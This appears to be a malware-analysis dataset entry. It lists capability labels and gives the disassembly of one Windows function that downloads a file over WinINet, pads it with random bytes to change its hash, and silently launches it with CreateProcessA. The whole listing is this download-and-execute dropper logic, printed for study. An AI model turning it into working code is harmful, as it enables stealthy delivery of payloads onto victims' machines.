Function at 0x1002bf00
Capabilities:
Create http request
Create process on windows
Download and write a file
Get file size
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005156e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4e0
mov eax, dword [0x1006099c]
push ebx
mov dword [ebp - 0x14], eax
mov eax, dword [0x100a1c5c]
push esi
push edi
cmp eax, 0x10
mov eax, dword [0x100a1c48]
mov dword [ebp - 0x10], esp
jae 0x1002bf40
mov eax, 0x100a1c48
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea ecx, [ebp - 0x470]
call fcn.100314f5
lea eax, [ebp - 0x30]
xor ebx, ebx
push eax
lea ecx, [ebp - 0x470]
mov dword [ebp - 4], ebx
call fcn.10031722
push 0xffffffffffffffff
push ebx
mov esi, 0xf
push 0x100a1c44
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.10001e90
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 2
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
call fcn.10001e90
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
je 0x1002bfe3
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x1002bfc2
lea eax, [ebp - 0x48]
push ebx
push 0x84000100
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp - 0x474], eax
jne 0x1002c037
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x50]
mov edi, 0x10
cmp eax, edi
jb 0x1002bffb
mov edx, dword [ebp - 0x64]
push edx
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x34], edi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
jb 0x1002c015
mov eax, dword [ebp - 0x48]
push eax
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x18], edi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
jb 0x1002c02f
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.10036530
add esp, 4
mov dword [ebp - 0x18], esi
jmp 0x1002c3b7
cmp dword [ebp - 0x50], 0x10
mov eax, dword [ebp - 0x64]
jae 0x1002c043
lea eax, [ebp - 0x64]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1002c0eb
mov edx, dword [ebp - 0x474]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
push edi
call esi
mov eax, dword [ebp - 0x50]
mov esi, 0x10
cmp eax, esi
jb 0x1002c08e
mov eax, dword [ebp - 0x64]
push eax
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x34], esi
mov edi, 0xf
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
jb 0x1002c0ad
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x18], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
jb 0x1002c3b4
mov edx, dword [ebp - 0x2c]
push edx
jmp 0x1002c3ac
mov dword [ebp - 0x46c], ebx
mov dword [ebp - 0x478], ebx
jmp 0x1002c100
mov edx, dword [ebp - 0x474]
lea eax, [ebp - 0x46c]
push eax
push 0x400
lea ecx, [ebp - 0x468]
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1002c151
mov ecx, dword [ebp - 0x46c]
push ebx
lea eax, [ebp - 0x478]
push eax
push ecx
lea edx, [ebp - 0x468]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1002c151
cmp dword [ebp - 0x46c], 0x400
jae 0x1002c100
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x474]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 4], 3
jae 0x1002c17d
lea eax, [ebp - 0x2c]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x46c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.1003fc3f
call fcn.1003fc4c
cdq
mov ecx, 0x1e
idiv ecx
mov esi, edx
inc esi
shl esi, 0xc
push esi
call fcn.1003ea53
mov edi, eax
add esp, 8
cmp edi, ebx
je 0x1002c247
cmp esi, ebx
mov dword [ebp - 0x474], ebx
jbe 0x1002c1f7
call fcn.1003fc4c
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x474]
inc eax
cmp eax, esi
mov dword [ebp - 0x474], eax
mov byte [eax + edi - 1], dl
jb 0x1002c1d5
mov eax, dword [ebp - 0x46c]
lea edx, [ebp - 0x478]
push edx
push eax
mov dword [ebp - 0x478], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x46c]
push ebx
push ebx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x46c]
push ebx
lea edx, [ebp - 0x47c]
push edx
push esi
push edi
push eax
mov dword [ebp - 0x47c], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.100404b3
add esp, 4
mov ecx, dword [ebp - 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor eax, eax
mov dword [ebp - 0x48c], edx
mov ecx, 0x11
lea edi, [ebp - 0x4ec]
rep stosd dword es:[edi], eax
push 0x100a1c60
mov dword [ebp - 0x488], edx
lea eax, [ebp - 0x4a8]
mov dword [ebp - 0x484], edx
push 0x10054958
push eax
mov dword [ebp - 0x4ec], 0x44
mov dword [ebp - 0x480], edx
call fcn.10011720
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 6
call fcn.10001c90
mov eax, dword [ebp - 0x490]
mov esi, 0x10
cmp eax, esi
jb 0x1002c2ce
mov ecx, dword [ebp - 0x4a4]
push ecx
call fcn.10036530
add esp, 4
mov eax, dword [ebp - 0x18]
mov edi, 0xf
cmp eax, esi
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x490], edi
mov dword [ebp - 0x494], ebx
mov byte [ebp - 0x4a4], bl
jae 0x1002c2f2
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x48c]
push edx
lea ecx, [ebp - 0x4ec]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1002c355
cmp dword [ebp - 0x50], esi
jb 0x1002c327
mov edx, dword [ebp - 0x64]
push edx
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x34], esi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
jb 0x1002c341
mov eax, dword [ebp - 0x48]
push eax
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x18], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
jb 0x1002c3b4
mov ecx, dword [ebp - 0x2c]
push ecx
jmp 0x1002c3ac
mov edx, dword [ebp - 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x488]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x50], esi
jb 0x1002c380
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x34], esi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
jb 0x1002c39a
mov edx, dword [ebp - 0x48]
push edx
call fcn.10036530
add esp, 4
cmp dword [ebp - 0x18], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
jb 0x1002c3b4
mov eax, dword [ebp - 0x2c]
push eax
call fcn.10036530
add esp, 4
mov dword [ebp - 0x18], edi
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x470]
mov dword [ebp - 4], 0xffffffff
call fcn.100314fe
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.1003fd01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret